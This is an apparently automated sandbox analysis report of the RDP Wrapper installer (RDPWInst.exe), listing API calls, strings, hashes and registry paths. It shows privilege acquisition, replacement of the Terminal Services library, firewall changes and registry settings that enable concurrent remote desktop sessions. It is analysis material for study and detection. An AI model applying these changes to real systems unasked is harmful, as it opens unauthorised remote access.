GetLastError.KERNEL32(?,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5F9

Part of subcall function 0043B48C: CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4BC
Part of subcall function 0043B48C: CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4D1

OpenServiceW.ADVAPI32(00000000,00000000,00000010,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B61F
GetLastError.KERNEL32(?,00000000,00000000,00000010,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B62E

Strings

$sD, xrefs: 0043B5B6
OpenService, xrefs: 0043B635
..., xrefs: 0043B5CD
OpenSCManager, xrefs: 0043B600
StartService, xrefs: 0043B689, 0043B699
ServicesActive, xrefs: 0043B5E3
[*] Starting , xrefs: 0043B5BB

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Service$CloseErrorHandleLastOpen$Manager
String ID: $sD$...$OpenSCManager$OpenService$ServicesActive$StartService$[*] Starting
API String ID: 2257214823-3855835416
Opcode ID: 55f0df0e7310880f6e7cb70b762c89182bbbe75636a3247ae01688996091d268
Instruction ID: 0e693e6e1cec2ac2fe46a8ff9d209bc722a6061919d6bcedfcc5fc96e321ed9b
Opcode Fuzzy Hash: 55f0df0e7310880f6e7cb70b762c89182bbbe75636a3247ae01688996091d268
Instruction Fuzzy Hash: 6C313471A04208AEDB10FBB68842B5F77E8DB4C715F60947BF614E7283DB7C9940869E

Function 0043BF00 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF3D
OpenProcessToken.ADVAPI32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF43
GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF4C
LookupPrivilegeValueW.ADVAPI32(00000000,00000000,?), ref: 0043BFA6
GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BFAF

Strings

$sD, xrefs: 0043BF7E, 0043BFE1, 0043C063
[-] AdjustTokenPrivileges error (code , xrefs: 0043C038
[-] OpenProcessToken error (code , xrefs: 0043BF53
[-] LookupPrivilegeValue error (code , xrefs: 0043BFB6

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentLookupOpenPrivilegeTokenValue
String ID: $sD$[-] AdjustTokenPrivileges error (code $[-] LookupPrivilegeValue error (code $[-] OpenProcessToken error (code
API String ID: 1401577899-1200187420
Opcode ID: 4f72a90d0289c3e65b588dbff969bb89f75e63602ae5a34113a3e67517c1ed7a
Instruction ID: 40249df541e28cb1c3cbeffac081f98f3db748ff3bf72c69c2aa91bf02ef4f1c
Opcode Fuzzy Hash: 4f72a90d0289c3e65b588dbff969bb89f75e63602ae5a34113a3e67517c1ed7a
Instruction Fuzzy Hash: E5412475E00218AFDB04EBE5DD81A9EB7B8EF49704F11407BF500F2291DA789D059B6A

Function 0043DC64 Relevance: 6.1, APIs: 4, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150,?,?,00447324), ref: 0043DC7A
FindResourceW.KERNEL32(00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150,?,?,00447324), ref: 0043DC8A
LoadResource.KERNEL32(00000000,00000000,00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150), ref: 0043DC97
FreeLibrary.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000010,00000000,00000000,00000002,?,?,0044BFA8,00447324,0043DEB8,00000000,0043E150), ref: 0043DCF5

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LibraryLoadResource$FindFree
String ID:
API String ID: 3272429154-0
Opcode ID: 15bd354d354d96cc7854a01dd3595191e335ff94095102c971dcd749e24b3d64
Instruction ID: b141022db8bc2a2b6abfb651a233e3798db1869765cd13709d0418182ea328c4
Opcode Fuzzy Hash: 15bd354d354d96cc7854a01dd3595191e335ff94095102c971dcd749e24b3d64
Instruction Fuzzy Hash: 9411E3273067445AC721DA268A81EDF3B169FC1340F09C1A6F9009F396E679C901C39A

Function 004093C0 Relevance: 3.0, APIs: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,?,00000000,?,00409584,?,?,?,00000000,00000105,00000000,004095BB,?,00437408), ref: 004093DC
GetLocaleInfoW.KERNEL32(?,00000003,?,?,00000000,?,00409584,?,?,?,00000000,00000105,00000000,004095BB,?,00437408), ref: 004093E5

Part of subcall function 004092D8: FindFirstFileW.KERNEL32(?,?,00000000), ref: 004092F2
Part of subcall function 004092D8: FindClose.KERNEL32(00000000,?,?,00000000), ref: 00409302

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: a26faab687ad10f6bf339373f2b132671eb58a1d7de5f88059ad0fc6f14c2cf4
Instruction ID: 6b7a5b6d94b1cbf22f3d71e7f3d695f59a60f48835f9eba26b4dd19c2a33d547
Opcode Fuzzy Hash: a26faab687ad10f6bf339373f2b132671eb58a1d7de5f88059ad0fc6f14c2cf4
Instruction Fuzzy Hash: 58F05E752412086FDB00DE9DD888DA677DCBF18368F4044AAF94CDF382C679EC408B64

Function 004092D8 Relevance: 3.0, APIs: 2, Instructions: 21fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,00000000), ref: 004092F2
FindClose.KERNEL32(00000000,?,?,00000000), ref: 00409302

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 6b2b30213d2c3205255c74374c6d0cedf81d32bff8ef7784ed5e0124d95693a3
Instruction ID: eb757cbb51915ae52a623e93d498bac1ae70d661531f8aa58739ae681ecdb70c
Opcode Fuzzy Hash: 6b2b30213d2c3205255c74374c6d0cedf81d32bff8ef7784ed5e0124d95693a3
Instruction Fuzzy Hash: B8D02B7250010823CA2099BC8CC9E9F734C5B05234F0803677DA8E33D1FA35D9100198

Function 00409D02 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00409D08

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: dcf78b23b46585e2dba9b3fc2d517005d4dfc9a18e6822ae8d97214c6ea3767e
Instruction ID: dea72ce09e15e74ad366377f5463cd755b9610de14ca7f4492471b38ec8a052a
Opcode Fuzzy Hash: dcf78b23b46585e2dba9b3fc2d517005d4dfc9a18e6822ae8d97214c6ea3767e
Instruction Fuzzy Hash: 12B012106085015BC908E73D4D4744B31C01A40524FC40234745CE62C2F65DCAA546DF

Function 0044373C Relevance: 81.5, APIs: 8, Strings: 46, Instructions: 524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$sD, xrefs: 00443761
[*] Extracting files..., xrefs: 00443B4F
-u uninstall wrapper, xrefs: 00443925
-i install wrapper to Program Files folder (default), xrefs: 004438CD
[+] Done., xrefs: 00443F83
[*] Checking dependencies..., xrefs: 00443BC8
-w get latest update for INI file, xrefs: 0044390F
[*] Installing..., xrefs: 00443AE5
[*] Checking for updates..., xrefs: 00443EB2
- To read the license agreement, run the installer with -l parameter., xrefs: 00443AA3
[+] Successfully installed., xrefs: 00443CA2
license, xrefs: 00443989
[*] Resetting service library..., xrefs: 00443D38
RDP Wrapper Library v1.6.2, xrefs: 00443777
LpD, xrefs: 0044374F
[*] Configuring registry..., xrefs: 00443C68, 00443E0F
[+] Successfully uninstalled., xrefs: 00443E57
-i -s install wrapper to System32 folder, xrefs: 004438E3
- If you do not agree to any terms of the license agreement,, xrefs: 00443AB9
RDPWInst.exe [-l|-i[-s][-o]|-w|-u[-k]|-r], xrefs: 0044388E
[-] Unsupported Windows version:, xrefs: 004439BE
to be bound by all the terms and conditions of the license agreement., xrefs: 00443A8D
[*] Restarting..., xrefs: 00443EED
[*] Configuring firewall..., xrefs: 00443C85, 00443E2C
TermService, xrefs: 00443C52, 00443DDD, 00443F77
[*] Removing files..., xrefs: 00443D87
[-] Unsupported processor architecture., xrefs: 004439F8
%ProgramFiles%\RDP Wrapper\rdpwrap.dll, xrefs: 00443B2B
[*] Notice to user:, xrefs: 00443A61
Copyright (C) Stas'M Corp. 2017, xrefs: 004437A3
do not use the software., xrefs: 00443ACF
[*] Terminating service..., xrefs: 00443BE3, 00443D53, 00443F08
-r force restart Terminal Services, xrefs: 00443951
[*] RDP Wrapper Library is already installed., xrefs: 00443A41
- By using all or any portion of this software, you are agreeing, xrefs: 00443A77
[*] RDP Wrapper Library is not installed., xrefs: 00443CEF, 00443E92
only >= 6.0 (Vista, Server 2008 and newer) are supported., xrefs: 004439D4
%SystemRoot%\system32\rdpwrap.dll, xrefs: 00443B1A
SeDebugPrivilege, xrefs: 00443BF7, 00443D67, 00443F1C
Installer v2.5, xrefs: 0044378D
USAGE:, xrefs: 00443878
-u -k uninstall wrapper and keep settings, xrefs: 0044393B
-l display the license agreement, xrefs: 004438B7
[*] Configuring service library..., xrefs: 00443BAD
-i -o online install mode (loads latest INI file), xrefs: 004438F9
[*] Uninstalling..., xrefs: 00443D0F

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID: - By using all or any portion of this software, you are agreeing$ - If you do not agree to any terms of the license agreement,$ - To read the license agreement, run the installer with -l parameter.$ do not use the software.$ only >= 6.0 (Vista, Server 2008 and newer) are supported.$ to be bound by all the terms and conditions of the license agreement.$$sD$%ProgramFiles%\RDP Wrapper\rdpwrap.dll$%SystemRoot%\system32\rdpwrap.dll$-i install wrapper to Program Files folder (default)$-i -o online install mode (loads latest INI file)$-i -s install wrapper to System32 folder$-l display the license agreement$-r force restart Terminal Services$-u uninstall wrapper$-u -k uninstall wrapper and keep settings$-w get latest update for INI file$Copyright (C) Stas'M Corp. 2017$Installer v2.5$LpD$RDP Wrapper Library v1.6.2$RDPWInst.exe [-l|-i[-s][-o]|-w|-u[-k]|-r]$SeDebugPrivilege$TermService$USAGE:$[*] Checking dependencies...$[*] Checking for updates...$[*] Configuring firewall...$[*] Configuring registry...$[*] Configuring service library...$[*] Extracting files...$[*] Installing...$[*] Notice to user:$[*] RDP Wrapper Library is already installed.$[*] RDP Wrapper Library is not installed.$[*] Removing files...$[*] Resetting service library...$[*] Restarting...$[*] Terminating service...$[*] Uninstalling...$[+] Done.$[+] Successfully installed.$[+] Successfully uninstalled.$[-] Unsupported Windows version:$[-] Unsupported processor architecture.$license
API String ID: 0-551293883
Opcode ID: 7cbbb260217d7fc7a01644a9b38dd862e028c17ba3129eca6f49844f2851695a
Instruction ID: 3b3904e08207714e519852b142ec2c0d1fdd34891fa1322cb905310c24a2fa21
Opcode Fuzzy Hash: 7cbbb260217d7fc7a01644a9b38dd862e028c17ba3129eca6f49844f2851695a
Instruction Fuzzy Hash: D60208A4B091404BEB00BBFB894324EA5519FC574CF92817FB604B72D7CA3CA8156A7F

Function 0043E864 Relevance: 34.8, APIs: 7, Strings: 16, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00447324), ref: 0043E8BE
GetLastError.KERNEL32(?,?,00447324), ref: 0043E978
GetLastError.KERNEL32(?,?,00447324), ref: 0043EA23

Strings

Type, xrefs: 0043EB9B, 0043EC5B, 0043ED07
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\DND Redirector, xrefs: 0043EBE9
$sD, xrefs: 0043E8CB, 0043E985, 0043EA30, 0043EAF0, 0043EB47, 0043EC07, 0043ECC7
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VC, xrefs: 0043ECA9
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Clip Redirector, xrefs: 0043EB29
fDenyTSConnections, xrefs: 0043E90F
RDPClip, xrefs: 0043EB84
\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core, xrefs: 0043E967
EnableConcurrentSessions, xrefs: 0043E9C4
RDPDND, xrefs: 0043EC44
AllowMultipleTSSessions, xrefs: 0043EA6F
\SYSTEM\CurrentControlSet\Control\Terminal Server, xrefs: 0043E8AD
\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon, xrefs: 0043EA12
[-] OpenKey error (code , xrefs: 0043E8D0, 0043E98A, 0043EA35, 0043EAF5, 0043EB4C, 0043EC0C, 0043ECCC
\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns, xrefs: 0043EABB, 0043EAD2
Name, xrefs: 0043EB89, 0043EC49

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: $sD$AllowMultipleTSSessions$EnableConcurrentSessions$Name$RDPClip$RDPDND$Type$[-] OpenKey error (code $\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon$\SYSTEM\CurrentControlSet\Control\Terminal Server$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Clip Redirector$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\DND Redirector$\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\Dynamic VC$\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core$fDenyTSConnections
API String ID: 1452528299-1114397459
Opcode ID: 22b9b6838edb48365cdfb4778b466381cbf59e10845c44ab03fa5598231b4397
Instruction ID: d5bff1feb4e6776106dd90f858afd21f9f4463beb35b4115f94bb768dd44f540
Opcode Fuzzy Hash: 22b9b6838edb48365cdfb4778b466381cbf59e10845c44ab03fa5598231b4397
Instruction Fuzzy Hash: 97A16E70B052005BEB10BBBB984256E76A5DB8D308F51A47FF400A76D2CB3DAC05972E

Function 00408F6C Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 156
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,00409151,?,00000000), ref: 00408FA5
lstrcpynW.KERNEL32(?,00000000,00000105,00000000,00409151,?,00000000), ref: 00408FC1
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,00409151,?,00000000), ref: 00408FEE
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105,00000000,00409151), ref: 0040900C
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?), ref: 0040902A
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 00409048
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000), ref: 00409088
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001), ref: 004090B3
RegQueryValueExW.ADVAPI32(?,00409208,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001), ref: 004090D7
RegQueryValueExW.ADVAPI32(?,00409208,00000000,00000000,?,?,?,00409208,00000000,00000000,00000000,?,?,?,00000000,00000000), ref: 00409100
RegCloseKey.ADVAPI32(?,0040913B,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,00409134,?,80000001,Software\CodeGear\Locales), ref: 0040912E

Strings

Software\CodeGear\Locales, xrefs: 00408FE4, 00409002
Software\Borland\Locales, xrefs: 00409020
Software\Borland\Delphi\Locales, xrefs: 0040903E

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: OpenQueryValue$CloseFileModuleNamelstrcpyn
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales
API String ID: 3482678030-345420546
Opcode ID: b86ae2d81a9e05b6b7bf3f0ce843eb1dbeb4dae58668f089461cbe54660652d9
Instruction ID: 299ddb9754ebd29522f96ae12af661ce277d6f97d31c05324fadffe1222b4d16
Opcode Fuzzy Hash: b86ae2d81a9e05b6b7bf3f0ce843eb1dbeb4dae58668f089461cbe54660652d9
Instruction Fuzzy Hash: CA510071B40209BEEB10EAA5CD46FAE77BCEB48704F504477B604F61C2D6B8AE408A5D

Function 0043A7BC Relevance: 24.2, APIs: 2, Strings: 14, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000000,0043AA55,?,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443A16,00000000,00443FB2), ref: 0043A827
GetLastError.KERNEL32(00000000,0043AA55,?,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443A16,00000000,00443FB2), ref: 0043A91D

Part of subcall function 00438860: RegFlushKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 00438871
Part of subcall function 00438860: RegCloseKey.ADVAPI32(00010000,004375FC,004388B7,004375FC,00000001,004387C6,?,00447324,0043A802,00000000,0043AA55,?,?,00447324,00000000,00000000), ref: 0043887A

Strings

svchost -k, xrefs: 0043A8A3
$sD, xrefs: 0043A834, 0043A8B8, 0043A8D1, 0043A92A, 0043A9BF, 0043A9D8
[*] ServiceDll: ", xrefs: 0043A9DD
[-] TermService is hosted in a custom application (BeTwin, etc.) - unsupported., xrefs: 0043A8BD
\SYSTEM\CurrentControlSet\Services\TermService, xrefs: 0043A810
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043A906
ImagePath, xrefs: 0043A866
[-] Another third-party TermService library is installed., xrefs: 0043A9C4
termsrv.dll, xrefs: 0043A98C
svchost.exe, xrefs: 0043A887
[*] ImagePath: ", xrefs: 0043A8D6
rdpwrap.dll, xrefs: 0043A9AA, 0043AA27
[-] OpenKeyReadOnly error (code , xrefs: 0043A839, 0043A92F
ServiceDll, xrefs: 0043A95C

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseFlush
String ID: $sD$ImagePath$ServiceDll$[*] ImagePath: "$[*] ServiceDll: "$[-] Another third-party TermService library is installed.$[-] OpenKeyReadOnly error (code $[-] TermService is hosted in a custom application (BeTwin, etc.) - unsupported.$\SYSTEM\CurrentControlSet\Services\TermService$\SYSTEM\CurrentControlSet\Services\TermService\Parameters$rdpwrap.dll$svchost -k$svchost.exe$termsrv.dll
API String ID: 1149308822-2563127478
Opcode ID: 3e349bb9003ee561f3f41bf2c4cd298ce689c8a6cca98ee662a00d79e13e63ec
Instruction ID: 1ac512ede3db6dba28468dccd327cdb8adfd53dd4df03d49c6afb8088628474e
Opcode Fuzzy Hash: 3e349bb9003ee561f3f41bf2c4cd298ce689c8a6cca98ee662a00d79e13e63ec
Instruction Fuzzy Hash: 01515774B442005BD700FBBA8D4255EB2659F8930CB51A43FB840BB796CB3CEC158AAF

Function 00408C28 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000,004095BB), ref: 00408C46
LeaveCriticalSection.KERNEL32(00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000), ref: 00408C6A
LeaveCriticalSection.KERNEL32(00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000,00000105,00000000), ref: 00408C79
IsValidLocale.KERNEL32(00000000,00000002,00449B54,00449B54,00000000,00408D2D,?,?,00000000,00000000,?,00409540,?,?,?,00000000), ref: 00408C8D
